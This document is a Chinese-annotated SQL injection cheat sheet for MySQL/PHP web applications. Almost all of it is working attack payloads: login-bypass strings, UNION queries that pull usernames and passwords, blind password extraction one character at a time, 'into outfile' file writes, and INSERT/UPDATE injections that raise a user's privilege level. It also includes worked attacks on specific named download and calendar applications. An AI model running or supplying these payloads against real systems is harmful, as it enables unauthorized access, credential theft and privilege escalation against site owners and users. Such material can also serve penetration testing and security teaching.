' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）
' and length(password)='6（探测密码长度）
' and left(password,1)='m
' and left(password,2)='my
..............................依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* （可以是1或者=后直接跟）
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt （导出文件）
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password from admins where login='john' into dumpfile '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() （灵活应用查询）
常用查询测试语句，
select * from table where 1=1
select * from table where 'uuu'='uuu'
select * from table where 1<>2
select * from table where 3>2
select * from table where 2<3
select * from table where 1
select * from table where 1+1
select * from table where 1--1
select * from table where isnull(null)
select * from table where isnull(cot(0))
select * from table where 1 is not null
select * from table where null is null
select * from table where 2 between 1 and 3
select * from table where 'b' between 'a' and 'c'
select * from table where 2 in (0,1,2)
select * from table where case when 1>0 then 1 end
例如：夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 （替换，寻找密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 （验证第一位密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
..................................................................
例如2：灰色轨迹 变换id进行测试（meteor）
union%20(select%20allowsmilies,public,userid,'0000-0-0',user (),version()%20from%20calendar_events%20where%20eventid%20=% 2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass (),version()%20from%20calendar_events%20where%20eventid%20=% 2010)%20order%20by%20eventdate
构造语句：
select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union%20(select%201,0,2,'1999-01-01','a',password%20from%20u ser%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20from %20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',userid%20from%2 0user%20where%20username='sandflee')%20order%20by%20eventdat e （查沙子的id）
（select a from table_name where a=10 and b=1 order by a limit 10)
select * from article where articleid='$id' union select * from......（字段和数据库相同情况下，可直接提交）
select * from article where articleid='$id' union select 1,1,1,1,1,1,1 from......（不同的情况下）
特殊技巧：在表单，搜索引擎等地方写：
"___"
".__ "
"%
%' order by articleid/*
%' order by articleid#
__' order by articleid/*
__' order by articleid#
$command = "dir c:/";system($command);
select * from article where articleid='$id'
select * from article where articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(select * from article where articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式：建立一个库，插入：
create database `injection`
create table `user` (
`userid` int(11) not null auto_increment,
`username` varchar(20) not null default '',
`password` varchar(20) not null default '',
primary key (`userid`)
) ;
insert into `user` values (1, 'swap', 'mypass');
插如一个注册用户：
insert into `user` (userid, username, password, homepage, userlevel) values ('', '$username', '$password', '$homepage', '1');
"insert into membres (login,password,nom,email,userlevel) values ('$login','$pass','$nom','$email','1')";
insert into membres (login,password,nom,email,userlevel) values ('','','','','3')#','1')
"insert into membres set login='$login',password='$pass',nom='$nom',email='$email'";
insert into membres set login='',password='',nom='',userlevel='3',email=''
"insert into membres values ('$id','$login','$pass','$nom','$email','1')";
update user set password='$password', homepage='$homepage' where id='$id'
update user set password='md5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'
"update membres set password='$pass',nom='$nom',email='$email' where id='$id'";
update membres set password='[pass]',nom='',userlevel='3',email=' ' where id='[id]'
"update news set votes=votes+1, score=score+$note where idnews='$id'";
长用函数：
database()
user()
system_user()
session_user()
current_user()
比如：
update article set title=$title where articleid=1 对应函数
update article set title=database() where id=1
#把当前数据库名更新到title字段
update article set title=user() where id=1
#把当前 mysql 用户名更新到title字段
update article set title=system_user() where id=1
#把当前 mysql 用户名更新到title字段
update article set title=session_user() where id=1
#把当前 mysql 用户名更新到title字段
update article set title=current_user() where id=1
#把当前会话被验证匹配的用户名更新到title字段
：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：
$req = "select * from membres where name like '%$search%' order by name";
select * from membres where name like '%%' order by uid#%' order by name
select * from membres where name like '%%' order by uid#%' order by name
select uid from admins where login='' or 'a'='a' and password='' or 'a'='a' （经典）
select uid from admins where login='' or admin_level=1#' and password=''
select * from table where msg like '%hop'
select uid from membres where login='bob' and password like 'a%'#' and password=''
select * from membres where name like '%%' order by uid#%' order by name
